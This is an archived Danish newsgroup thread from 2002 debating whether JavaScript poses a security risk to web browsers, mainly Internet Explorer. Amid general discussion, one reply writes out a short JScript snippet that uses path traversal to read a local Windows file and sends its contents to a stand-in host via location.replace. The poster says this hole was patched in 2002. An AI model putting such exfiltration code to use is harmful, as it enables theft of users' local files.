/ Forside / Teknologi / Internet / Sikkerhed / Nyhedsindlæg
Login
Glemt dit kodeord?
Brugernavn

Kodeord


Reklame
Top 10 brugere
Sikkerhed
#NavnPoint
stl_s 37026
arlet 26827
miritdk 20260
o.v.n. 12167
als 8951
refi 8694
tedd 8272
BjarneD 7338
Klaudi 7257
10  molokyle 6481
Javascript er sikkerhedsrisiko?
Fra : Rune Zimmermann


Dato : 07-06-02 09:21

Hej NG!
Det har længe undret mig hvordan Javascript alene kan udgøre en
sikkerhedsrisiko for en web-klient.
Men der er måske nogle funktioner jeg ikke lige kender. Jeg mener, man
har da ingen mulighed for at lave nogen form for netværksprogramering.

Mvh.
--
Rune Zimmermann
http://www.spiffer.dk
-------------------------------------------------------------
- som mangler en virksomhed at skrive hovedopgave med.
Emne: IT-sikkerhed.
Kast mig en mail, hvis du kender én, der kender én, der...
-------------------------------------------------------------

 
 
Christian E. Lysel (07-06-2002)
Kommentar
Fra : Christian E. Lysel


Dato : 07-06-02 09:35

Rune Zimmermann wrote:
> Men der er måske nogle funktioner jeg ikke lige kender. Jeg mener, man
> har da ingen mulighed for at lave nogen form for netværksprogramering.

Noget så simpelt som "location.replace" kan bruges til at lade browseren
smide http arguementer tilbage til webserveren. Disse argumenter kan fx
være din password fil, eller hvad man nu ønsker.

Dog bliver det svære at hente en fil fra det lokale filsystem, da mange
huller er blivet lukket.



Rune Zimmermann (07-06-2002)
Kommentar
Fra : Rune Zimmermann


Dato : 07-06-02 09:41

On Fri, 07 Jun 2002 10:34:35 +0200
"Christian E. Lysel" <chlyshoswmdatapunktumcom@example.net> wrote:
>
> Noget så simpelt som "location.replace"...
Hvad er det, mere konkret?

> Dog bliver det svære at hente en fil fra det lokale filsystem, da
> mange huller er blivet lukket.

Dvs. problemet egentlig ligger i browseren og ikke i Java?

--
Rune Zimmermann
http://www.spiffer.dk
-------------------------------------------------------------
- som mangler en virksomhed at skrive hovedopgave med.
Emne: IT-sikkerhed.
Kast mig en mail, hvis du kender én, der kender én, der...
-------------------------------------------------------------

Kai Birger Nielsen (07-06-2002)
Kommentar
Fra : Kai Birger Nielsen


Dato : 07-06-02 10:20

In <20020607104129.4f28b5f8.rune@spiffer.dk> Rune Zimmermann <rune@spiffer.dk> writes:

>Dvs. problemet egentlig ligger i browseren...


Ja og det er også galt nok. Et af problemerne er at javascript pr
definition fortolkes af et program, som _du_ har kørende på din
computer og dermed må programmet, i dette tilfælde InternetExplorer,
gøre alt, hvad du ellers må. Dette program bruger du nu til at
fortolke instruktioner (javascript-programkode) som forefindes på
websider som er skrevet af andre, muligvis ondsindede personer.

Hvis ikke InternetExplorer er skrevet af ekstremt paranoide og
omhyggelige programmører, er det med stor sikkerhed muligt at
få InternetExplorer til at gå ned eller det, der er værre.

Det bliver ikke bedre af at programmørerne har valgt en strategi,
hvor de i stedet for at afvise defekt javascript-programkode
forsøger at køre den. (Og det samme med defekt html-kode.)

Et af problemerne ved denne tvivlsomme strategi er at det stort
set er umuligt at sige hvilke sider, der vil blive vist af
InternetExplorer og hvilke, der vil give fejl. Og i det hele
taget, hvilken effekt en given side vil have.

I stedet for at skrive robust, paranoid kode, har Microsoft valgt
at lukke hullerne (eller ignorere hullerne eller bare sige at de har
lukket hullerne) efterhånden som de bliver opdaget.
Det skyldes en fejlagtig antagelse om at der bliver færre huller
når man lukker et.

Se evt her, hvis du tror at det er nemt at teste programmer:
http://hjem.get2net.dk/bnielsen/aftest.html

Forresten er hackerne glade for Microsofts patches. Dels er det
kun et fåtal, der installerer dem og dels er det en "attack mask",
dvs en nydelig udpegning af en rådden plet i programmet og hvis
der er en rådden plet, så er der formentlig en mere lige i nærheden.

Efter min mening er hele ideen bag javascript rådden, så jeg
vil ikke give nogle bud på hvordan de evt kunne fikse det på
en bedre måde.

mvh Birger Nielsen (bnielsen@daimi.au.dk)


N/A (08-06-2002)
Kommentar
Fra : N/A


Dato : 08-06-02 02:30



Carsten Nielsen (08-06-2002)
Kommentar
Fra : Carsten Nielsen


Dato : 08-06-02 08:40

"Christian E. Lysel" <chlyshoswmdatapunktumcom@example.net> wrote in
message news:3D0072D4.9030106@example.net

> Rune Zimmermann wrote:
> >>Noget så simpelt som "location.replace"...
> > Hvad er det, mere konkret?
>
> Hvis jeg kalder location.replace("http://example.com/?password=test"),
> vil jeg tvinge browseren til at hente http://example.com/?password=test.
>
> Denne side vil blive kaldt med agumentet password sat til "test". Denne
> oplysning kan være hentet fra den lokale maskines password fil.
>

Du mener vel

location.replace("http://example.com/?password="+test)

hvor test er en varialbel, som de interessante oplysninger ligger i.

Men du skal stadig have f.eks. clientens password loaded ind i variablen
"test".

Der må skulle noget mere til før administratorpasswordet ligger i en af
browserens variabler.

> > Dvs. problemet egentlig ligger i browseren og ikke i Java?
>
> Ja.

Enig

Med venlig hilsen


Carsten Nielsen


--
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG

Christian E. Lysel (08-06-2002)
Kommentar
Fra : Christian E. Lysel


Dato : 08-06-02 10:00

Carsten Nielsen wrote:
> Du mener vel

Jeg ville blot give et simpelt eksempel.

> location.replace("http://example.com/?password="+test)
>
> hvor test er en varialbel, som de interessante oplysninger ligger i.

ja.

> Men du skal stadig have f.eks. clientens password loaded ind i variablen
> "test".
>
> Der må skulle noget mere til før administratorpasswordet ligger i en af
> browserens variabler.

Følgende fx:

var
S="http://"+location.host+"/../../../../../../../../../../../../../.
../../../winnt/win.ini"
A=GetObject(S,"htmlfile")
setTimeout("PutFile()",200)

function PutFile(){
var URL = "http://example.com/?file="
URL += A.body.innerText.replace(/\n/g,"\%0a")
location.replace(URL)
}


Som du kan se henter den winnt/win.ini filen.

Dog er ovenstående patchet den 1. Jan 2002, og virker således kun på
upatchet klienter, men kik evt. på http://jscript.dk/unpatched/


Rune Zimmermann (07-06-2002)
Kommentar
Fra : Rune Zimmermann


Dato : 07-06-02 10:05

On Fri, 07 Jun 2002 10:46:12 +0200
"Christian E. Lysel" <chlyshoswmdatapunktumcom@example.net> wrote:
>
> Hvis jeg kalder location.replace("http://example.com/?password=test"),
>
> vil jeg tvinge browseren til at hente
> http://example.com/?password=test.

Jeg er desværre stadig ikke helt med.. Du henviser altså til en
javascript funktion? Hvordan vil du få den sendt tilbage til dig uden
brug af php, asp eller lign?

....
>
> Java har _intet_ med javascript at gøre, andet end navnet.
>
Den er jeg med på.. jeg var bare doven..

--
Rune Zimmermann
http://www.spiffer.dk
-------------------------------------------------------------
- som mangler en virksomhed at skrive hovedopgave med.
Emne: IT-sikkerhed.
Kast mig en mail, hvis du kender én, der kender én, der...
-------------------------------------------------------------

Kent Friis (08-06-2002)
Kommentar
Fra : Kent Friis


Dato : 08-06-02 02:30

Den Fri, 7 Jun 2002 11:04:59 +0200 skrev Rune Zimmermann:
>On Fri, 07 Jun 2002 10:46:12 +0200
>"Christian E. Lysel" <chlyshoswmdatapunktumcom@example.net> wrote:
>>
>> Hvis jeg kalder location.replace("http://example.com/?password=test"),
>>
>> vil jeg tvinge browseren til at hente
>> http://example.com/?password=test.
>
>Jeg er desværre stadig ikke helt med.. Du henviser altså til en
>javascript funktion? Hvordan vil du få den sendt tilbage til dig uden
>brug af php, asp eller lign?

php, asp og lignende kører på web-serveren, og er i denne sammenhæng
uinteressante. De kan ikke bruges til at omgå sikkerheden i browseren,
kun på serveren.

Mvh
Kent
--
"Intelligence is the ability to avoid doing work, yet get the work done"
- Linus Torvalds

N/A (07-06-2002)
Kommentar
Fra : N/A


Dato : 07-06-02 10:20



Rune Zimmermann (07-06-2002)
Kommentar
Fra : Rune Zimmermann


Dato : 07-06-02 10:34

On Fri, 7 Jun 2002 09:20:26 +0000 (UTC)
bnielsen@daimi.au.dk (Kai Birger Nielsen) wrote:

> In <20020607104129.4f28b5f8.rune@spiffer.dk> Rune Zimmermann
> <rune@spiffer.dk> writes:
>
> >Dvs. problemet egentlig ligger i browseren...
>
>
> Ja og det er også galt nok. Et af problemerne er at javascript pr
> definition fortolkes af et program, som _du_ har kørende på din
> computer og dermed må programmet, i dette tilfælde InternetExplorer,
> gøre alt, hvad du ellers må. Dette program bruger du nu til at
> fortolke instruktioner (javascript-programkode) som forefindes på
> websider som er skrevet af andre, muligvis ondsindede personer.

Ja, men hvad kan de gøre?
>
> Hvis ikke InternetExplorer er skrevet af ekstremt paranoide og
> omhyggelige programmører, er det med stor sikkerhed muligt at
> få InternetExplorer til at gå ned eller det, der er værre.

Hvad er det?
>
> Det bliver ikke bedre af at programmørerne har valgt en strategi,
> hvor de i stedet for at afvise defekt javascript-programkode
> forsøger at køre den. (Og det samme med defekt html-kode.)
>
> Et af problemerne ved denne tvivlsomme strategi er at det stort
> set er umuligt at sige hvilke sider, der vil blive vist af
> InternetExplorer og hvilke, der vil give fejl. Og i det hele
> taget, hvilken effekt en given side vil have.

Enig! og det er min kritik af javascript. Den er ikke konsistent. Men
her snakker vi om hvorvidt layoutet nu er som vi havde forventet. Hvis
sikkerhedsproblemet ligger i en browser der går ned, så er jeg ikke
imponeret. Det klarer windows fint alene.
>
> I stedet for at skrive robust, paranoid kode, har Microsoft valgt
> at lukke hullerne (eller ignorere hullerne eller bare sige at de har
> lukket hullerne) efterhånden som de bliver opdaget.
> Det skyldes en fejlagtig antagelse om at der bliver færre huller
> når man lukker et.

Der er nok en mere politisk/strategisk beslutning.
>
> Se evt her, hvis du tror at det er nemt at teste programmer:
> http://hjem.get2net.dk/bnielsen/aftest.html
>
> Forresten er hackerne glade for Microsofts patches. Dels er det
> kun et fåtal, der installerer dem og dels er det en "attack mask",
> dvs en nydelig udpegning af en rådden plet i programmet og hvis
> der er en rådden plet, så er der formentlig en mere lige i nærheden.
>
> Efter min mening er hele ideen bag javascript rådden, så jeg
> vil ikke give nogle bud på hvordan de evt kunne fikse det på
> en bedre måde.
>
Ok..

--
Rune Zimmermann
http://www.spiffer.dk
-------------------------------------------------------------
- som mangler en virksomhed at skrive hovedopgave med.
Emne: IT-sikkerhed.
Kast mig en mail, hvis du kender én, der kender én, der...
-------------------------------------------------------------

Kent Friis (08-06-2002)
Kommentar
Fra : Kent Friis


Dato : 08-06-02 02:33

Den Fri, 7 Jun 2002 11:33:44 +0200 skrev Rune Zimmermann:
>On Fri, 7 Jun 2002 09:20:26 +0000 (UTC)
>bnielsen@daimi.au.dk (Kai Birger Nielsen) wrote:
>
>> In <20020607104129.4f28b5f8.rune@spiffer.dk> Rune Zimmermann
>> <rune@spiffer.dk> writes:
>>
>> >Dvs. problemet egentlig ligger i browseren...
>>
>>
>> Ja og det er også galt nok. Et af problemerne er at javascript pr
>> definition fortolkes af et program, som _du_ har kørende på din
>> computer og dermed må programmet, i dette tilfælde InternetExplorer,
>> gøre alt, hvad du ellers må. Dette program bruger du nu til at
>> fortolke instruktioner (javascript-programkode) som forefindes på
>> websider som er skrevet af andre, muligvis ondsindede personer.
>
>Ja, men hvad kan de gøre?

Det kommer an på "ugens sikkerhedshul i IE". Et sted mellem "alt" og
"intet".

>> Hvis ikke InternetExplorer er skrevet af ekstremt paranoide og
>> omhyggelige programmører, er det med stor sikkerhed muligt at
>> få InternetExplorer til at gå ned eller det, der er værre.
>
>Hvad er det?

Format C: er da helt klart værre

>> I stedet for at skrive robust, paranoid kode, har Microsoft valgt
>> at lukke hullerne (eller ignorere hullerne eller bare sige at de har
>> lukket hullerne) efterhånden som de bliver opdaget.
>> Det skyldes en fejlagtig antagelse om at der bliver færre huller
>> når man lukker et.
>
>Der er nok en mere politisk/strategisk beslutning.

Jeps, modsat en "fornuftig beslutning".

Mvh
Kent
--
"Handlingen blev afbrudt pga. computerens begrænsede effekt"
- Windows NT på en Pentium III 550 MHz

Rune Zimmermann (07-06-2002)
Kommentar
Fra : Rune Zimmermann


Dato : 07-06-02 14:49

On Fri, 07 Jun 2002 12:30:00 +0200
"Christian E. Lysel" <chlyshoswmdatapunktumcom@example.net> wrote:

> Funktionen location.replace får browseren til at besøge en ny URL.
> Denne URL kan jeg lade indeholde data, som jeg kan finde i min
> webservers logfil.
>
Ahh..

--
Rune Zimmermann
http://www.spiffer.dk
-------------------------------------------------------------
- som mangler en virksomhed at skrive hovedopgave med.
Emne: IT-sikkerhed.
Kast mig en mail, hvis du kender én, der kender én, der...
-------------------------------------------------------------

Troels Arvin (07-06-2002)
Kommentar
Fra : Troels Arvin


Dato : 07-06-02 22:30

On Fri, 07 Jun 2002 10:21:26 +0200, Rune Zimmermann wrote:

> Det har længe undret mig hvordan Javascript alene kan udgøre en
> sikkerhedsrisiko for en web-klient.

http://jscript.dk/unpatched/

--
Greetings from Troels Arvin, Copenhagen, Denmark

Søg
Reklame
Statistik
Spørgsmål : 177560
Tips : 31968
Nyheder : 719565
Indlæg : 6408941
Brugere : 218888

Månedens bedste
Årets bedste
Sidste års bedste